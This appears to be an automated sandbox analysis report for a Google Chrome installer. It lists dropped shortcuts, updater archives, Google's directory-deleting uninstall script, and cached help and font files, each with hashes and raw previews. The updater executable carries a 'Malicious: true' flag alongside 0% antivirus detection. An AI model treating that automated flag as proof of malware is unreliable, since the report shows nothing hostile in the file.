Preview:	L..................F.@.. ...$+.,........Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.j...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 12:15:58 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9902313622580303
Encrypted:	false
SSDEEP:	48:8VdYTcYYyfHjidAKZdA1weh/iZUkAQkqehwty+2:8QvY09Qby
MD5:	E671B6177FD8DC411561E0364ED5425D
SHA1:	674CF7777E3118DB4D524892363506A286A1C535
SHA-256:	AE533D6994DF84C34F1459B3DA6EA61A67DCBA77AE34187DC4CA258289E4F2D6
SHA-512:	8D3160816E7DF119A18C2A0D11399EE55A5145C73B5DFB5E81C48664CD45D5DEA16EB5DF26A7F68AFF7005D41A989D3DEDCBE5D1B0B9DF1B34F8E5CDE30C7BF4
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Q...Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.j...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003561074495942
Encrypted:	false
SSDEEP:	48:8xxdYTcYsHjidAKZdA14tseh7sFiZUkmgqeh7s6ty+BX:8x8vinqy
MD5:	CEA88B40050C5EC798A3B7FE69B7F4E5
SHA1:	16F06545B101991B2AFFA05CF74AD5D5D27C3C96
SHA-256:	517B77DC67E9884E74AB3C6F969D8AD49031A8ED7407F92900E35C37CCA0B3F3
SHA-512:	663009520143D31A84425327D662CB636FB14AAB0B9971A68D9AFD4DB29D7702B5F9812C53B2BD40314D63B8C6DD891946A6EDADFBC7C3A74160AC013F92978C
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 12:15:58 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987345976730127
Encrypted:	false
SSDEEP:	48:8DdYTcYYyfHjidAKZdA1vehDiZUkwqeh8ty+R:8uvYf8y
MD5:	8458E0C0B2C73E6A29CB2AA78A309327
SHA1:	B79A81AF91FC9371D3681FF0195A42DA7B37C3E0
SHA-256:	C7CB863DCF918EF5079B390793832C6C07EF3B244F9CD2512044A669A22610FD
SHA-512:	F4089E264F59ABC03A75C8032B4B1F726EAE7C57DF4B66131AF79B28DD03F3AE7DB738A044A4B1383229EE9A18C816751F3747F8560FD8CAD6005438933AFDFE
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....&...Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.j...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 12:15:58 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9786617540876255
Encrypted:	false
SSDEEP:	48:8idYTcYYyfHjidAKZdA1hehBiZUk1W1qeh+ty+C:89vYf94y
MD5:	81B76A00D3243E20B229C039E00E94D0
SHA1:	2FBAF44B6E095E4DD55F62950FC67F21F6E01392
SHA-256:	5DA49D599520E8991C28EA8050E641F0EF942864FB3416BE07E4D2E00F372DA1
SHA-512:	FDAA87A7917E527ED05CA9B5FF027603F6B5A8982C183BD480C194311DBFF950446A762179B5D6BF25F50B5729C96ECF7E69702D9BE6DD35791BEA417499A27A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.j...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 12:15:58 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9869304587220054
Encrypted:	false
SSDEEP:	48:84dYTcYYyfHjidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbUty+yT+:8bvYXT/TbxWOvTbqy7T
MD5:	8F2576371080288C9AF481A932B83C94
SHA1:	A642B9E0C96B6F8AD6FFEC4D068D4183057DF51F
SHA-256:	26A8CD4D43E9CFBD47CA4F7482373FF359D12338E57645857F9041790D131A6D
SHA-512:	35DF83F9E2749B226FECED7B6D9810D886C2BA70873716322A250E1D9F6370AAFC9518559AB5FC7AA4995CF6943F2252492FD93CD15F950876EE7BAD2C0FE9BE
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....7...Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.i....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.j...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SystemTemp\Google4304_299551820\bin\uninstall.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\ChromeSetup.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	653
Entropy (8bit):	4.923215133873056
Encrypted:	false
SSDEEP:	12:2snTJp6rOanOFkgU4hEu8NRaPJRRmvxOgtc/aH+ndUE:7T+rjO+Z4hTb6dIa8P
MD5:	FBC297EE9060D4256192E4EDB98CAD1B
SHA1:	F305C065378AEC46EB4DACAAEEE3F866B1527105
SHA-256:	099592FFA867124D16C0C6D868AF1214FD2B7180FA76E4EEE01ABF2A5CF8F044
SHA-512:	C867D366252E5124C6560FBB42ED4473DC7546360BC1221E9FCBC192E9216D6265E41AD26A733F7566C064B136AE02E21EF5F7095FCB6AE6F65B6FBEB3401FFE
Malicious:	false
Preview:	@echo off....rem Deletes recursively the directory specified by the `--dir` command line..rem argument of the script. The directory must be an updater install path.....echo %1 %2..if not "%1"=="--dir" (.. echo "Invalid switch.".. exit 1..)....set Directory=%2....rem Validate the path is an updater path...@echo %Directory% \| FindStr /L \Google\GoogleUpdater > nul..if %ERRORLEVEL% NEQ 0 (.. echo "Invalid argument.".. exit 2..)....rem Try deleting the directory 15 times and wait one second between tries...for /L %%G IN (1,1,15) do (.. ping -n 2 127.0.0.1 > nul.. rmdir %Directory% /s /q > nul.. if not exist %Directory% exit 0..)....exit 3....

C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ChromeSetup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5591136
Entropy (8bit):	6.770608795075387
Encrypted:	false
SSDEEP:	98304:TgdaGGos7sRiQRe/rWNYGFuDw5ZXcOm0XCK4VjPf8kLtPVV3qHDYxDkvlLr:TgdaTos7s4QA/rmYeus5dvXCKsJdVV3A
MD5:	9DB9D09B6A58E5C09773F754504AC148
SHA1:	7CD31865C0858319128BBD2483C19F59B7208CEA
SHA-256:	C294551059A85542127811249B8E725D3AB885EFDD4996B201DB588899769E85
SHA-512:	80A036CC6D42E72BF6BE634C6134945750DA105AB7E026C2E53E0A02362DB3101ACD9402B0383BCEDC9DFB29B3A87CB0951191FDCF4D29A780D5380C6AD6A05F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g..........".......>..........w"...........@...........................V......eU...@...........................H.P.....H......@K. ............(U.`(....T.......H.....................@}H.......>.............@.H.......H.@....................text...s.>.......>................. ..`.rdata.. .....>.......>.............@..@.data...,....PI..b...<I.............@....tls....u.....K.......I.............@...CPADinfo(.... K.......I.............@...malloc_h.....0K.......I............. ..`.rsrc... ....@K.......I.............@..@.reloc........T......8S.............@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\SystemTemp\Google4304_299551820\updater.7z

Download File

Process:	C:\Users\user\AppData\Local\Temp\ChromeSetup.exe
File Type:	7-zip archive data, version 0.4
Category:	dropped
Size (bytes):	5591986
Entropy (8bit):	6.7707727602939505
Encrypted:	false
SSDEEP:	98304:WgdaGGos7sRiQRe/rWNYGFuDw5ZXcOm0XCK4VjPf8kLtPVV3qHDYxDkvlLn:WgdaTos7s4QA/rmYeus5dvXCKsJdVV3O
MD5:	EBB87C2893F1FAE0B0A452ABDF07F844
SHA1:	2B84C87A6D6D4EBCF0A6BBE98E8BC805CA6E32BA
SHA-256:	8F5C08906288FBD8C3527309AA4DB75E21135305B7282A7CDA48E8980F513F09
SHA-512:	CACA03ADADA2324BDD9E65054EAF2837E6076FBA45765AD369DE784680A365EC08950345A579BC2BA9C6EF6B8DDEC45B630A7026BD2AE216E525087EFDBD4DC4
Malicious:	false
Preview:	7z..'...D.}.mSU.....%........br.@echo off....rem Deletes recursively the directory specified by the `--dir` command line..rem argument of the script. The directory must be an updater install path.....echo %1 %2..if not "%1"=="--dir" (.. echo "Invalid switch.".. exit 1..)....set Directory=%2....rem Validate the path is an updater path...@echo %Directory% \| FindStr /L \Google\GoogleUpdater > nul..if %ERRORLEVEL% NEQ 0 (.. echo "Invalid argument.".. exit 2..)....rem Try deleting the directory 15 times and wait one second between tries...for /L %%G IN (1,1,15) do (.. ping -n 2 127.0.0.1 > nul.. rmdir %Directory% /s /q > nul.. if not exist %Directory% exit 0..)....exit 3....MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g..........".......>..........w"...........@...........................V......eU...@...........................H.P.....H......@K. ............(U.`(....T.......H.....................@}H

C:\Windows\SystemTemp\Google4304_579248284\UPDATER.PACKED.7Z

Download File

Process:	C:\Users\user\AppData\Local\Temp\ChromeSetup.exe
File Type:	7-zip archive data, version 0.4
Category:	dropped
Size (bytes):	5592116
Entropy (8bit):	6.77075448912983
Encrypted:	false
SSDEEP:	98304:dgdaGGos7sRiQRe/rWNYGFuDw5ZXcOm0XCK4VjPf8kLtPVV3qHDYxDkvlL6:dgdaTos7s4QA/rmYeus5dvXCKsJdVV3v
MD5:	90F2D74E1507CAC889CF649C989669BD
SHA1:	F17978C7B5BEAE727104FB10059C5B6A1BD50D64
SHA-256:	5C0AD50A3D58385775B45EBF1DB3DC55E6855CD8B22399C3BEBDC3B41331696E
SHA-512:	9B9717D3047A78AB5CDD229574D3BB7C7BFCB78C40F8AAE2085C697546386D7D54DA1C0CD5C713257D0CAF8924902F881957656ECA22E65B91B2BB9F3E7EDB38
Malicious:	false
Preview:	7z..'......1.SU.....b........Ts.7z..'...D.}.mSU.....%........br.@echo off....rem Deletes recursively the directory specified by the `--dir` command line..rem argument of the script. The directory must be an updater install path.....echo %1 %2..if not "%1"=="--dir" (.. echo "Invalid switch.".. exit 1..)....set Directory=%2....rem Validate the path is an updater path...@echo %Directory% \| FindStr /L \Google\GoogleUpdater > nul..if %ERRORLEVEL% NEQ 0 (.. echo "Invalid argument.".. exit 2..)....rem Try deleting the directory 15 times and wait one second between tries...for /L %%G IN (1,1,15) do (.. ping -n 2 127.0.0.1 > nul.. rmdir %Directory% /s /q > nul.. if not exist %Directory% exit 0..)....exit 3....MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g..........".......>..........w"...........@...........................V......eU...@...........................H.P.....H......@K. ............(U.`(....T

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1203)
Category:	downloaded
Size (bytes):	8868
Entropy (8bit):	5.130440294070798
Encrypted:	false
SSDEEP:	192:5H4HcHGr9uIHROschHoqPHyHRuHq/Hp+8HObKuHPHk:6rr+cf
MD5:	D0A7B8CC43AA9D9BC37980573186F668
SHA1:	67262D9435233DD70B6713ABE6DAC956ADFAE617
SHA-256:	F94934A2AB404905A25CAF02219F22337610B659D73A72C82EE8287D698BFD0B
SHA-512:	5FE3D2316D6661BF22D831263E0232F8AACCA2042D53255C3AC15E3C652EEEC60C8E29D6EA53FD587A41092248067E69786D42147151599CEC865E6C0094FECE
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Noto+Color+Emoji&display=swap
Preview:	/* [0] /.@font-face {. font-family: 'Noto Color Emoji';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.0.woff2) format('woff2');. unicode-range: U+1f1e6-1f1ff;.}./ [1] /.@font-face {. font-family: 'Noto Color Emoji';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.1.woff2) format('woff2');. unicode-range: U+200d, U+2620, U+26a7, U+fe0f, U+1f308, U+1f38c, U+1f3c1, U+1f3f3-1f3f4, U+1f6a9, U+e0062-e0063, U+e0065, U+e0067, U+e006c, U+e006e, U+e0073-e0074, U+e0077, U+e007f;.}./ [2] */.@font-face {. font-family: 'Noto Color Emoji';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/notocoloremoji/v32/Yq6P-KqIXTD0t4D9z1ESnKM3-HpFabsE4tq3luCC7p-aXxcn.2.woff2) format('woff2');. unicode-range

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (54379)
Category:	downloaded
Size (bytes):	1234530
Entropy (8bit):	5.707850078567813
Encrypted:	false
SSDEEP:	24576:aBx7jDSgxyVD3aSZjJIBThNtk6jXcvm0aeO3kw/dHrqxQi0ocL3aanWXOnUD1qzr:aBx7jDSgxyVD3aSZjJUTFk6jXcvm0LOJ
MD5:	9CFB4B8566571B6260DDF4B3EB303814
SHA1:	4372A39FB3F7D8A63704A966BA58994A305C4405
SHA-256:	AED628193F17636A9D0C7E84DC918BD8F1DE15EEACD1C8D66BFECEDE542659C0
SHA-512:	CDC6B46815EC7407931A35E04CF6FE1BC06D4A829C31660C0F8592D379959CE8EEC2DD6EEEFA2A5CF1FFB8E356E4E4CB74D64F921514D7FAF0E795B2F3D0FF15
Malicious:	false
URL:	https://support.google.com/chrome/answer/6315198?product=&error=75035&visit_id=638710749657494083-3714930028&rd=1
Preview:	<!doctype html><html class="hcfe" data-page-type="ANSWER" lang="en"><head><title>Fix problems installing Chrome - Google Chrome Help</title><meta content="email=no" name="format-detection"><meta content="follow,index" name="robots"><meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible"><meta content="If you get an error message when you try to download and install Google Chrome, try these fixes. Fix most installation errors Make sure your internet connection is working normally. If your inter" name="description"><meta content="XDaf09mosy9iTj6dOnwb6sKTrNhfKwOS6v98lPV0dEE" name="google-site-verification"><link href="https://support.google.com/chrome/answer/6315198?hl=en" rel="canonical"><meta content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=3,user-scalable=yes" name="viewport"><style>@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2)format('woff2');unicode-range:U+

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (54379)
Category:	downloaded
Size (bytes):	1234528
Entropy (8bit):	5.708105777031828
Encrypted:	false
SSDEEP:	24576:2B47jDSjxyVD3aSZjJIFjhNtk6jXcvm0aeO3kc/dHjNI+i0ocL3aanWX27M/1qzj:2B47jDSjxyVD3aSZjJojFk6jXcvm0LOT
MD5:	F58CC33E365D36FD8232F90834D207EA
SHA1:	FBC07E52C819F14AE77B74DD07A3C9FD4131D7CA
SHA-256:	8C66B963E6FF32EC95C5F254F87976804E864EF18495956D4A8C5F1E71C21A4C
SHA-512:	C244108603116E5CF7134C079DFAC95A760F71A950324ABD22C18DA80B2F7061B37EF44623E0F25F4A4BF5DAA15367781A30DEE98F03DA8C6CBD86608718C735
Malicious:	false
URL:	https://support.google.com/chrome/answer/6315198?product=&error=75035&visit_id=638710749621283108-2082302909&rd=1
Preview:	<!doctype html><html class="hcfe" data-page-type="ANSWER" lang="en"><head><title>Fix problems installing Chrome - Google Chrome Help</title><meta content="email=no" name="format-detection"><meta content="follow,index" name="robots"><meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible"><meta content="If you get an error message when you try to download and install Google Chrome, try these fixes. Fix most installation errors Make sure your internet connection is working normally. If your inter" name="description"><meta content="XDaf09mosy9iTj6dOnwb6sKTrNhfKwOS6v98lPV0dEE" name="google-site-verification"><link href="https://support.google.com/chrome/answer/6315198?hl=en" rel="canonical"><meta content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=3,user-scalable=yes" name="viewport"><style>@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2)format('woff2');unicode-range:U+

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6015
Entropy (8bit):	5.417043325436399
Encrypted:	false
SSDEEP:	96:GhOEazFZMOEaK3qOEanOEajJc+u+OEa7NMhOXa7FZMOXa93qOXagOXaEJc+u+OXM:GuPK3Ng3k+tA93OoALmLy13Eq4tK
MD5:	0B414B7DB9A539E8EE336BCDCA5F8FDD
SHA1:	CB596295697D8D7CBAB3FE7C9FEAC1AC35FF384B
SHA-256:	40760A00D5366341EFF02BFD114E8FB328DD3926295073397F0CAA00B7E3B070
SHA-512:	51D9A66BFFB08E76F8413FB4B173070F3499F38C0C2AFFAAF1217E904B1FE6FDD500E9242EF8278BD7D948014070B2A5AB421E982AF82DD0DE7B33D5506788BA
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Google+Sans+Text:wght@400;500;700&display=swap
